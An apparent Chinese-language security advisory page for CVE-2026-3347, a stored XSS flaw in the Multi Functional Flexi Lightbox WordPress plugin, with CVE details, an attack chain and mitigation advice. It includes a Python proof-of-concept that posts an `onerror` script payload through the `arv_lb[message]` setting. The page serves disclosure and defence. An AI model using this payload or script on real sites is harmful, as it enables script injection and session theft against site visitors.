IPBUF安全漏洞报告
English
CVE-2026-3347 CVSS 5.5 中危

CVE-2026-3347 WordPress插件存储型XSS漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3347
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
5.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Multi Functional Flexi Lightbox (WordPress Plugin)

相关标签

Stored XSSWordPressCWE-79Multi Functional Flexi LightboxArbitrary Script Injection

漏洞概述

WordPress插件Multi Functional Flexi Lightbox在1.2及之前版本中存在存储型XSS漏洞。由于输入清理不足和输出转义缺失,拥有管理员权限的攻击者可通过`arv_lb[message]`参数注入恶意脚本,当用户访问启用灯箱的页面时触发执行,造成敏感信息泄露。

技术细节

该漏洞的核心在于WordPress插件Multi Functional Flexi Lightbox对用户输入处理不当。具体而言,插件在处理设置更新请求时,`arv_lb_options_val()`函数作为清理回调机制失效,直接返回了用户通过`arv_lb[message]`参数提交的原始数据,未进行任何安全过滤或转义。随后,在前端渲染时,`genLB()`函数直接读取数据库中存储的该值并输出到HTML页面中,导致了存储型跨站脚本漏洞。尽管CVSS评分显示需要高权限(PR:H),即攻击者必须拥有管理员权限才能利用此漏洞,但由于漏洞具有范围改变(S:C)特性,一旦注入成功,恶意脚本可影响同一浏览器上下文下的所有页面,可能用于劫持其他管理员会话,从而提升权限或进行持久化后门植入。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者通过钓鱼或其他手段获取WordPress站点的管理员账号和密码。
STEP 2
步骤2:访问后台设置
攻击者登录后台,导航至Multi Functional Flexi Lightbox插件的设置页面。
STEP 3
步骤3:注入恶意脚本
攻击者在`arv_lb[message]`字段中输入包含JavaScript代码的恶意载荷,并点击保存。
STEP 4
步骤4:存储载荷
由于缺乏过滤,恶意脚本被存储在数据库的wp_options表中。
STEP 5
步骤5:触发漏洞
当普通用户或管理员访问带有Lightbox功能的文章或页面时,插件调用`genLB()`函数输出消息。
STEP 6
步骤6:执行攻击
受害者的浏览器解析并执行恶意脚本,导致Cookie被盗取或会话被劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# WordPress Multi Functional Flexi Lightbox < 1.2 Stored XSS PoC # Target: The 'arv_lb[message]' parameter in the plugin settings. # Precondition: Attacker must have Administrator-level privileges. import requests # Configuration target_url = "http://example.com/wp-admin/admin.php?page=multi-functional-flexi-lightbox" login_url = "http://example.com/wp-login.php" username = "admin" password = "password" session = requests.Session() # 1. Authenticate to WordPress def login(): login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } response = session.post(login_url, data=login_data) if "wp-admin" in response.text: print("[+] Login successful") else: print("[-] Login failed") exit() # 2. Exploit the Stored XSS def exploit(): # Fetch the page to get nonces (if any) page = session.get(target_url) # The vulnerable parameter is arv_lb[message] # Payload: Simple alert to demonstrate execution payload_data = { 'arv_lb[message]': '<img src=x onerror=alert(document.cookie)>', 'Submit': 'Save Changes', 'option_page': 'arv_lb_options', 'action': 'update', '_wpnonce': '[INSERT_NONCE_IF_REQUIRED]', # Usually required for WP options '_wp_http_referer': '/wp-admin/admin.php?page=multi-functional-flexi-lightbox' } # Note: Real-world exploitation requires handling WordPress Nonces (_wpnonce) # This is a conceptual representation of the POST request. response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent. Check the plugin settings or view a post with the lightbox.") else: print(f"[-] Request failed with status {response.status_code}") if __name__ == "__main__": login() exploit()

影响范围

Multi Functional Flexi Lightbox <= 1.2

防御指南

临时缓解措施
建议立即更新Multi Functional Flexi Lightbox插件到最新版本。如果暂时无法更新,应禁用该插件。此外,管理员应检查插件设置中的消息字段,确保没有包含异常的HTML或JavaScript代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表